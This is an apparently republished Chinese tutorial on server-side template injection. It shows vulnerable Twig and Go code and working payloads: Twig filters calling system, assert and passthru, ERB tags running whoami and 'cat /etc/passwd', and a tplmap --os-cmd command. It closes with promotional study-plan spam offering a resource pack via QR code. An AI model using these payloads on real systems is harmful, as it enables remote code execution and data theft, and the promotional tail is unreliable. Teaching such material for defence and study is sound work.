SSTI 简介
MVC
MVC是一种框架型模式，全名是Model View Controller。
即模型(model)－视图(view)－控制器(controller)在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码，将业务逻辑聚集到一个部件里面，在改进和个性化定制界面及用户交互的同时，得到更好的开发和维护效率。
在MVC框架中，用户的输入通过 View 接收，交给 Controller ，然后由 Controller 调用 Model 或者其他的 Controller 进行处理，最后再返回给 View ，这样就最终显示在我们的面前了，那么这里的 View 中就会大量地用到一种叫做模板的技术。
绕过服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web 应用模板内容的一部分，而模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，就会导致敏感信息泄露、代码执行、GetShell 等问题.
虽然市面上关于SSTI的题大都出在python上，但是这种攻击方式请不要认为只存在于 Python 中，凡是使用模板的地方都可能会出现 SSTI 的问题，SSTI 不属于任何一种语言。
常见的模板引擎和注入漏洞
Twig(PHP)
首先以Twig模板引擎介绍SSTI，很多时候，SSTI发生在直接将用户输入作为模板，比如下面的代码
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
createTemplate时注入了$_GET['name']，就会引发SSTI
而如下代码则不会，因为模板引擎解析的是字符串常量中的{{name}}，而不是动态拼接的$_GET["name"]
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
而对于模板引擎的利用，往往是借助模板中的一些方法实现攻击目的，比如Twig中的过滤器map
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/40bec9f700fb4c538bb80de5f613bac6~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp1.ssl.qhimg.com%252Ft01ef165455da86f66f.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01ef165455da86f66f.png”” style=“margin: auto” />
举个经典的例子
{{["man"]|map((arg)=>"hello #{arg}")}}会被编译成下面这样
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))
关于这个twig_array_map，源码中是这样的
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/80c5776aa91e475b88fdad75acb9beb0~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp5.ssl.qhimg.com%252Ft01cdeb04ca691db91a.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft01cdeb04ca691db91a.png”” style=“margin: auto” />
可以看到传入的$arrow被当作函数执行，那么可以不传arrow function，可以只传一个字符串,找个两个参数的能够命令执行的危险函数即可
比如
{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}
类似的，我们还可以找到一些其他的过滤器sort,filiter，网上也有较多介绍，就不再赘述了。
当然，SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息，在Twig引擎中，我们可以通过下面方法获得一些关于当前应用的信息
{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
ERB(Ruby)
相较于Twig,ERB的代码直接提供了一些命令执行的接口，比如
<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()%>
这里提起他主要是引出模板标签的一些分类
比如这里的ERB模板标签使用<%= %>，Twig使用{{}}，根据一些简单的poc和标签的分类，我们可以快速识别出是否存在模板漏洞以及所使用的模板引擎技术
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/63007a34e02f4d2b870f4eefc364b8ac~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp5.ssl.qhimg.com%252Ft01a66955048c86d5b6.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft01a66955048c86d5b6.png”” style=“margin: auto” />
当然有些模板引擎的标签是可以自定义的，上面列出的只是默认情况
Golang SSTI
关于Golang Template的SSTI研究目前来说还比较少，可能是因为本身设计的也比较安全。
不过通过{{.}}我们可以获得到作用域
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ac723722c04b40009459b739fd444a55~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp2.ssl.qhimg.com%252Ft019142c1c9d069ab59.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp2.ssl.qhimg.com%2Ft019142c1c9d069ab59.png”” style=“margin: auto” />
比如在下面这个例子中
package main
import ("html/template""net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {//var name = ""r.ParseForm() // Parses the request bodyx := r.Form.Get("name")var test map[string]interface{}test = make(map[string]interface{})var secret map[string]interface{}secret = make(map[string]interface{})flag := "flag{testflag}"secret["flag"] = &flagtest["secret"] = secretvar tmpl = `<!DOCTYPE html><html><body>
<form action="/" method="post">First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><p>` + x + ` </p></body></html>`t := template.New("main") //name of the template is maint, _ = t.Parse(tmpl)// parsing of template stringt.Execute(w, test)
}
func main() {server := http.Server{Addr: "0.0.0.0:5090",}http.HandleFunc("/", handler)server.ListenAndServe()
}
可以获取到作用域对象
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/181d8dee480c4b229299eb84b595efb4~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp5.ssl.qhimg.com%252Ft0132abe6fb5406e7b2.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp5.ssl.qhimg.com%2Ft0132abe6fb5406e7b2.png”” style=“margin: auto” />
进一步可以获得flag
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d383568453cb435682958e0e4565b1fe~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp0.ssl.qhimg.com%252Ft019bc96580e9d22714.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp0.ssl.qhimg.com%2Ft019bc96580e9d22714.png”” style=“margin: auto” />
甚至如果在作用域中存在可以利用的函数，我们还可以调用该函数完成攻击,比如
type User struct {ID intEmailstringPassword string
}
func (u User) System(test string) string {out, _ := exec.Command(test).CombinedOutput()return string(out)
}
就有
[<img src=“https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/24b93300da0a47c194f9387b506a1439~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fwww.oschina.net%2Faction%2FGoToLink%3Furl%3Dhttps%253A%252F%252Fp3.ssl.qhimg.com%252Ft01410634ba0f4793ca.png “https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fp3.ssl.qhimg.com%2Ft01410634ba0f4793ca.png”” style=“margin: auto” />
Flask/Jinja
这个引擎应该是出镜率最高的了，能写的东西也很多，由于篇幅所限，具体内容会在（下）中展开记录。
常用检测工具 Tplmap
和sqlmap的设计风格一致，直接怼就行
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
总结
SSTI在MVC架构中是经常出现的一类问题，除去本文中介绍的几个引擎，还有许多受影响的引擎，比如Velocity 等。该问题主要是由于开发者直接将用户输入作为模板交给模板引擎渲染导致的，将用户输入绑定到模板的参数中可以缓解这一问题。通过SSTI，我们往往可以获取到程序运行的上下文环境，甚至利用模板引擎的内置方法完成远程代码注入等高危攻击。
我整理了网络安全的学习资料与指导书籍
吃碗面压压惊
接下来我将给各位同学划分一张学习计划表！
学习计划
那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：
阶段一：初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？
阶段二：中级or高级网络安全工程师（看自己能力）
综合薪资区间15k~30k
7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。
零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；
Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三：顶级网络安全工程师
如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！
学习资料分享
当然，只给予计划不给予学习资料的行为无异于耍流氓，这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包，可点击下方二维码链接领取哦。
扫一扫
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
